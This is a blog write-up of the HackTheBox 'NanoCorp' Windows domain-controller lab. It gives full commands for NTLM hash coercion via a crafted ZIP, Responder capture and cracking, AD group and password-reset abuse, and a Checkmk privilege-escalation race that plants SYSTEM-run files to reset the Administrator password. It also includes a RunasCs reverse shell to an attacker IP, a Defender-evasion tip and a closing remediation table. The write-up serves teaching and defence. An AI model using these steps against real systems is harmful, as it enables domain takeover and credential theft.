DEV Community

Cover image for HTB — NanoCorp — Writeup
WhyShell
WhyShell

Posted on

HTB — NanoCorp — Writeup

Info Detail
Platform HackTheBox
Difficulty Hard
OS Windows Server 2022
Themes Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race
CVEs CVE-2025-24071, CVE-2024-0670

TL;DR

NanoCorp is a Windows Server 2022 domain controller exposing a recruitment portal (hire.nanocorp.htb) that accepts ZIP uploads. We exploit CVE-2025-24071 to coerce NTLM authentication via a .library-ms file embedded in a ZIP — Responder captures the NTLMv2 hash of the web_svc service account.

After cracking the hash, BloodHound reveals an ACL chain: web_svc can add itself to the IT_SUPPORT group (AddSelf), which in turn can change the password of monitoring_svc (ForceChangePassword). That account, a member of the Protected Users group, requires Kerberos authentication to reach the DC over WinRM — which lands us the user flag.

Privesc exploits CVE-2024-0670: the Checkmk agent v2.1.0 creates temporary .cmd files with a predictable pattern during an MSI repair (msiexec /fa). By pre-placing our own read-only .cmd files, we get command execution as SYSTEM. The subtle trap: msiexec /fa requires an interactive session (logon type 2). We use RunasCs with the -l 2 flag from Evil-WinRM to obtain a reverse shell as web_svc inside an interactive session, then trigger msiexec from that session.


Attack Overview

┌─────────────────────────────────────────────────┐
│  hire.nanocorp.htb — ZIP Upload                 │
│  CVE-2025-24071 (.library-ms → NTLM coercion)   │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Responder captures NTLMv2 hash → web_svc       │
│  Hashcat crack → dksehdgh712!@#                 │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  BloodHound ACL Chain                           │
│  web_svc ──[AddSelf]──→ IT_SUPPORT              │
│  IT_SUPPORT ──[ForceChangePassword]──→          │
│                              monitoring_svc     │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Protected Users → Kerberos required            │
│  kinit + evil-winrm --ssl -r NANOCORP.HTB       │
│  → monitoring_svc shell → 🚩 User flag          │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  CVE-2024-0670 — Checkmk MSI Repair Race        │
│  RunasCs -l 2 → web_svc reverse shell           │
│  → Seed 10k .cmd files → msiexec /fa            │
│  → SYSTEM runs our payload                      │
│  → net user Administrator → 🚩 Root flag        │
└─────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Phase 1 — Enumeration

1.1 Port scan with Rustscan

We start with a full scan using Rustscan, which quickly identifies open ports before handing off to Nmap for scripts and version detection.

export IP=10.129.243.199
export ME=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
echo "$IP dc01.nanocorp.htb nanocorp.htb" | sudo tee -a /etc/hosts

rustscan -a $IP --ulimit 5000 --range 1-65535 -- -sC -sV -oN nmap_full.txt -Pn
Enter fullscreen mode Exit fullscreen mode

Rustscan result — open ports

Key ports identified:

Port Service Observation
53 DNS Simple DNS Plus — internal AD resolution
80 HTTP Apache 2.4.58 (Win64) + PHP 8.2.12 — redirects to nanocorp.htb
88 Kerberos Confirms a Domain Controller
389 LDAP Domain: nanocorp.htb
445 SMB Message signing required → no NTLM relay possible
5986 WinRM HTTPS Only WinRM available (no plaintext 5985)
6556 Absent from external scan — we'll discover it later from the inside

Two important details in the scan:

The clock skew is nearly 7 hours — this is crucial for Kerberos commands. On this box, we use faketime -f '+7h' in front of each Kerberos command rather than changing the system clock (which would break TLS certificates).

SMB signing is required — this immediately rules out NTLM relay attacks (ntlmrelayx). We'll have to capture and crack the hashes, not relay them.

1.2 Vhost enumeration with ffuf

The Apache server redirects to nanocorp.htb — there may be other vhosts configured. We use ffuf to discover them.

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.nanocorp.htb" -u http://nanocorp.htb \
  -mc 200,302,403 -fc 301 | cat
Enter fullscreen mode Exit fullscreen mode

Why | cat? ffuf displays an interactive progress bar that pollutes the output. Piping to cat forces a non-interactive mode — the output is clean and readable.

Why -fc 301? The server returns 301 to all non-existent subdomains (redirect to nanocorp.htb). That's the default noise we filter out — we only keep responses that behave differently (200, 302, 403).

ffuf

Discovery: hire.nanocorp.htb — we add it to /etc/hosts:

echo "$IP hire.nanocorp.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

1.3 The recruitment portal

We open http://hire.nanocorp.htb in the browser — it's a recruitment portal with a CV upload form.

hire.nanocorp.htb portal — upload form

The form accepts ZIP files and archives. This is our entry vector: we'll exploit the automatic archive processing by Windows Explorer.


Phase 2 — Initial Access: CVE-2025-24071 (NTLM Coercion via ZIP)

2.1 Why this CVE works

CVE-2025-24071 exploits a Windows Explorer behavior: when a ZIP archive is extracted, Explorer auto-processes certain special file types, including .library-ms files.

A .library-ms file is an XML file that describes a Windows "library" (Documents, Pictures, etc.). It can contain a UNC path (\\attacker-ip\share) as the library location. When Explorer processes this file, it tries to resolve the UNC path — which triggers an automatic NTLM authentication to our SMB server.

The key point: all of this happens without any user interaction. Extracting the ZIP is enough.

2.2 Generating the malicious ZIP

cd /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
Enter fullscreen mode Exit fullscreen mode

PoC result

The PoC generates an exploit.zip containing a .library-ms file pointing to our IP via a UNC path.

2.3 Capturing the NTLMv2 hash

T1 — Responder listening on tun0:

sudo responder -I tun0 -v
Enter fullscreen mode Exit fullscreen mode

T2 — Upload the exploit.zip on the hire.nanocorp.htb form.

We wait a few seconds — the server extracts the ZIP, Windows Explorer processes the .library-ms, and attempts SMB authentication toward us.

Responder — capturing web_svc NTLMv2 hash

[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:94f624ed11c6411e:8E122B...
Enter fullscreen mode Exit fullscreen mode

We have the NTLMv2 hash of the web_svc service account — the account that runs Apache/PHP on the box.

2.4 Cracking the hash

We save the hash and crack it with Hashcat on the Mac's native M5 GPU (via the Metal API):

echo 'web_svc::NANOCORP:94f624ed11c6411e:8E122B...' > web_svc.hash
hashcat -m 5600 web_svc.hash ~/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Why -m 5600? That's NTLMv2 mode in Hashcat. NTLMv2 is the authentication protocol (challenge/response), not to be confused with the raw NT hash (-m 1000).

Hashcat — password cracked

Result: web_svc / dksehdgh712!@#


Phase 3 — Horizontal Escalation: ACL Chain (BloodHound CE)

3.1 BloodHound collection

With web_svc's credentials, we run the BloodHound ingestor to map the AD:

bloodhound-python -u web_svc -p 'dksehdgh712!@#' \
  -d nanocorp.htb -dc dc01.nanocorp.htb -c All --zip -ns $IP
Enter fullscreen mode Exit fullscreen mode

Why -ns $IP? We force the use of the DC's DNS directly. Without it, bloodhound-python tries to resolve names via Kali's system DNS, which doesn't know the nanocorp.htb zone — and the ingestor crashes with Failed to resolve LDAP server IP.

3.2 Analysis in BloodHound CE

We import the ZIP into BloodHound CE (http://localhost:8080) and explore web_svc's rights.

BloodHound CE — web_svc Outbound Object Control

Node web_svc@nanocorp.htb → Outbound Object Control:

  • web_svcIT_SUPPORT: AddSelf

BloodHound CE — IT_SUPPORT Outbound Object Control

Node IT_SUPPORT → Outbound Object Control:

  • IT_SUPPORTmonitoring_svc: ForceChangePassword

3.3 Why this ACL chain is dangerous

The full chain is:

web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc
Enter fullscreen mode Exit fullscreen mode

AddSelf: web_svc has the right to add itself as a member of the IT_SUPPORT group. This is a more specific, weaker right than GenericAll — the principal cannot add other users, only itself. It's often configured so that service accounts can "join" a technical support group.

ForceChangePassword: the IT_SUPPORT group has the right to reset monitoring_svc's password without knowing the old one. This right is often granted to support teams to unblock accounts — but it's a direct entry point for an attacker who joins the group.

Result: with a single service account (web_svc), we can pivot to monitoring_svc in two steps without ever touching a privileged account.

3.4 Exploiting the ACL chain

Step 1 — web_svc adds itself to the IT_SUPPORT group

We use the Python ldap3 library to modify the group's member attribute. We go through a Python script to avoid password quoting issues (!@#) in zsh:

cat > /tmp/addself.py << 'EOF'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP\\web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
    'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
    {'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
EOF
python3 /tmp/addself.py
Enter fullscreen mode Exit fullscreen mode

Why a Python file and not a one-liner? The password contains !@# — zsh interprets ! as history expansion and # as a comment. The heredoc << 'EOF' (with single quotes around EOF) prevents any expansion.

Result: {'result': 0, 'description': 'success', ...}

Step 2 — Changing monitoring_svc's password

Now that web_svc is a member of IT_SUPPORT, we use rpcclient to change monitoring_svc's password:

cat > /tmp/changepwd.sh << 'EOF'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb \
  -c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
EOF
bash /tmp/changepwd.sh
Enter fullscreen mode Exit fullscreen mode

Why setuserinfo2 with code 23? Code 23 corresponds to UserInternal4InformationNew in the Windows SAMR API — it's the RPC call that changes the password without knowing the old one. This is exactly what the "Reset Password" button does in Active Directory Users and Computers.

No error = password changed successfully.


Phase 4 — monitoring_svc Shell via Kerberos WinRM

4.1 Why Kerberos is mandatory

monitoring_svc is a member of the Protected Users group in Active Directory. This group enforces strict security restrictions:

  • NTLM disabled: any NTLM authentication attempt is refused
  • No delegation: the account cannot be used for Kerberos delegation
  • Reduced TGT lifetime: 4 hours instead of 10

In practice, if we try evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!' (which uses NTLM by default), the connection will be silently refused. We must explicitly go through Kerberos.

4.2 Kerberos configuration and connection

# Kerberos configuration
sudo tee /etc/krb5.conf > /dev/null << 'EOF'
[libdefaults]
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
EOF

# Get the Kerberos TGT
faketime -f '+7h' kinit monitoring_svc@NANOCORP.HTB
# Enter the password: NanoPwned123!

# WinRM connection via Kerberos
faketime -f '+7h' evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB --ssl
Enter fullscreen mode Exit fullscreen mode

Why --ssl? Port 5985 (plaintext WinRM) is not open — only 5986 (WinRM HTTPS) is available. The --ssl flag tells Evil-WinRM to use TLS.

Why -r NANOCORP.HTB? This flag enables Kerberos authentication in Evil-WinRM by specifying the realm. Without it, Evil-WinRM defaults to NTLM.

Why faketime? The ~7h clock skew between our Kali and the DC would make Kerberos requests fail. faketime adjusts the clock as seen by the process without touching the system clock.

Evil-WinRM — monitoring_svc shell

4.3 User flag

type C:\Users\monitoring_svc\Desktop\user.txt
Enter fullscreen mode Exit fullscreen mode

User flag retrieved

🚩 User flag owned!


Phase 5 — Privesc: CVE-2024-0670 (Checkmk MSI Repair Race)

5.1 Enumeration from monitoring_svc

We start by checking what's running on the box. Port 6556 wasn't visible from outside — let's check from the inside:

netstat -an | findstr 6556
Enter fullscreen mode Exit fullscreen mode
TCP    0.0.0.0:6556    0.0.0.0:0    LISTENING
Enter fullscreen mode Exit fullscreen mode

Netstat — Checkmk port 6556 listening

Port 6556 is the default port of the Checkmk agent — a system monitoring tool. Let's check the installed version:

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
    Where-Object { $_.DisplayName -like "*mk*" -or $_.DisplayName -like "*Check*" } |
    Select-Object DisplayName, DisplayVersion, LocalPackage
Enter fullscreen mode Exit fullscreen mode
DisplayName        DisplayVersion  LocalPackage
-----------        --------------  ------------
Check MK Agent 2.1 2.1.0.50010     C:\Windows\Installer\1e6f2.msi
Enter fullscreen mode Exit fullscreen mode

Vulnerable Checkmk version in the registry
Version 2.1.0.50010vulnerable to CVE-2024-0670.

5.2 Understanding CVE-2024-0670 in depth

The normal mechanism

When an MSI repair (msiexec /fa) is launched for Checkmk, the agent performs the following steps:

  1. Creates temporary .cmd files in C:\Windows\Temp with the pattern cmk_all_<PID>_<counter>.cmd
  2. Writes its own configuration commands into these files
  3. Executes these files as SYSTEM (the Windows Installer service runs as SYSTEM)
  4. Deletes the temporary files

The vulnerability

The problem is twofold:

Predictable pattern: the file name contains only the PID of the msiexec process and a counter (0 or 1). The PID is in a predictable range — on Windows Server, PIDs typically run between 1000 and 15000.

No integrity check: msiexec does not verify that the .cmd content is the one it wrote. If the file already exists and is read-only, msiexec cannot overwrite it — and it executes the existing content anyway as SYSTEM.

The logon type trap

This is the most subtle point of the box. Windows distinguishes several types of authentication sessions:

Type Name Example
2 Interactive Physical console, RunasCs -l 2
3 Network WinRM, SMB, webshells
10 RemoteInteractive RDP

The Windows Installer service (msiserver) refuses to launch an MSI repair (/fa) from a type 3 (network) session. It doesn't return an error — it fails silently. That's why:

  • Running msiexec /fa from Evil-WinRM → does nothing (type 3)
  • Running msiexec /fa from a webshell → does nothing (type 3 too, HTTP network)
  • Running msiexec /fa via RunasCs -l 2works (creates a type 2 session)

RunasCs with the -l 2 flag is the key tool here: it takes credentials and creates a real local interactive session (type 2), even from a network session. That's what allows bypassing the msiexec restriction.

5.3 Preparing the exploit

Step 1 — Upload RunasCs to C:\programdata

We upload RunasCs via Evil-WinRM into C:\programdata — a directory that Defender watches less than C:\Windows\Temp. The precompiled binary survives here without being deleted.

# From Evil-WinRM (monitoring_svc)
cd C:\programdata
upload /mnt/macos/CTF/NanoCorp/RunasCs.exe RunasCs.exe
Enter fullscreen mode Exit fullscreen mode

Why C:\programdata and not C:\Windows\Temp? Defender actively monitors C:\Windows\Temp — known binaries like RunasCs or nc.exe get deleted almost instantly there. C:\programdata is a legitimate system directory, less scrutinized by Defender signatures.

RunasCs uploaded to C:\programdata

Step 2 — web_svc reverse shell via RunasCs

We use RunasCs from Evil-WinRM to obtain a reverse shell as web_svc with an interactive type 2 session. It's this session that will let us trigger msiexec.

T1 — Penelope listening:

penelope -p 4444
Enter fullscreen mode Exit fullscreen mode

From Evil-WinRM:

C:\programdata\RunasCs.exe web_svc 'dksehdgh712!@#' cmd.exe -r 10.10.16.52:4444 -l 2
Enter fullscreen mode Exit fullscreen mode

Why -l 2? This flag forces RunasCs to create a type 2 logon (interactive). Without it, RunasCs uses the default type that wouldn't let msiexec work. It's the critical flag of the whole privesc.

Why -r 10.10.16.52:4444? RunasCs sends a reverse shell to our listener. We can't get a direct interactive shell from Evil-WinRM since we're already inside a WinRM session.

Penelope — web_svc reverse shell received

Penelope receives the shell — we verify:

C:\Windows\system32> whoami
nanocorp\web_svc
Enter fullscreen mode Exit fullscreen mode

5.4 Exploit — Seed and trigger

From the web_svc reverse shell (interactive type 2 session), we prepare and trigger the exploit in two steps.

Step 1 — Seed the .cmd files

We create 10,000 .cmd files with a simple payload: write whoami to a proof file and change the Administrator password. No need for a SYSTEM reverse shell — we just change the admin password.

powershell -c "1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Value 'whoami > C:\programdata\proof.txt & net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Name IsReadOnly -Value $true }"
Enter fullscreen mode Exit fullscreen mode

Why such a simple payload? We don't need a SYSTEM reverse shell. The payload does two things: (1) it proves SYSTEM execution via whoami > proof.txt, and (2) it changes the Administrator password. After that, we connect directly as admin via Evil-WinRM. The simpler it is, the lower the risk that Defender intervenes.

Why counter _1? The counter in the Checkmk pattern starts at 0 or 1 depending on the version. We use _1 to cover the most common case.

Why -Force and IsReadOnly? -Force overwrites existing files (from a previous attempt). IsReadOnly prevents msiexec from replacing them with its own content — it runs ours instead.

Step 2 — Trigger msiexec /fa

Still from the web_svc reverse shell (type 2 session):

cmd /c "msiexec /fa C:\Windows\Installer\1e6f2.msi"
Enter fullscreen mode Exit fullscreen mode

Why cmd /c? We wrap msiexec in cmd /c to make sure the command runs in a fresh, clean cmd.exe process, and that the current shell waits for execution to finish.

Why does this command work here but not from Evil-WinRM? Because we're in an interactive type 2 session created by RunasCs. Evil-WinRM is a type 3 network session — msiexec silently refuses to work there.

Step 3 — Verification

type C:\programdata\proof.txt
Enter fullscreen mode Exit fullscreen mode
nt authority\system
Enter fullscreen mode Exit fullscreen mode

proof.txt — SYSTEM execution confirmed

📸 SYSTEM confirmed! The Administrator password has been changed.

5.5 Connecting as Administrator

The payload changed the administrator's password. We connect directly:

evil-winrm -i dc01.nanocorp.htb -u Administrator -p 'H4cked123!' --ssl
Enter fullscreen mode Exit fullscreen mode
type C:\Users\Administrator\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Root flag retrieved

🚩 Root flag owned!


Pitfalls Encountered and Solutions

The logon type 2 vs 3 trap

This is the most frustrating point of the box: msiexec /fa produces no error when it refuses to run under logon type 3. It simply terminates without doing anything. You can spend hours debugging the payload (RunasCs? nc.exe? quoting?) when the actual problem is the execution context.

The solution: RunasCs with the -l 2 flag from Evil-WinRM to create a reverse shell inside an interactive session. From that session, msiexec agrees to run.

The lesson: when a Windows command does "nothing" without an error, think about the logon type. It's a pattern that also shows up with schtasks, wmic, and other tools that silently refuse network sessions.

BloodHound CE + PostgreSQL 18

The BloodHound CE version packaged in Kali (9.2.2-0kali1) is incompatible with PostgreSQL 18 (error syntax error at or near "STORAGE"). The TEXT STORAGE MAIN syntax was removed in PG18.

Fix: patch the SQL migration file and grant the right permissions to the role:

# Remove the obsolete STORAGE syntax
sudo sed -i -E 's/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g' \
  /usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql

# Recreate the database with the right owner
sudo -u postgres psql <<'SQL'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
\c bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
SQL

sudo systemctl restart bloodhound
Enter fullscreen mode Exit fullscreen mode

Cleaner alternative: the official Docker stack (curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -d), which ships its own compatible PostgreSQL version.


Blue Team — How to Fix

Vulnerability Fix
CVE-2025-24071 Update Windows (patch KB5053598). Filter ZIP uploads on the application side — never extract archives server-side without a sandbox.
AddSelf on IT_SUPPORT Audit AD ACLs with BloodHound. Remove the AddSelf right on support groups — use access request workflows (ITSM) instead.
ForceChangePassword Restrict this right to dedicated administrative accounts, never to support groups. Enable auditing of password changes (Event ID 4724).
Bypassable Protected Users Protected Users is a good practice, but it does not protect against a third party changing the password. Combine it with LAPS and rotating passwords.
CVE-2024-0670 Update Checkmk Agent to 2.2+ (fixed). In the meantime, restrict ACLs on C:\Windows\Temp to prevent non-SYSTEM users from writing .cmd files there.
Webshell via webroot Don't grant WriteData to BUILTIN\Users on the webroot. Run Apache under a dedicated service account with minimal privileges.

References


Writeup by WhyShell — understand the why behind every exploit.

Top comments (0)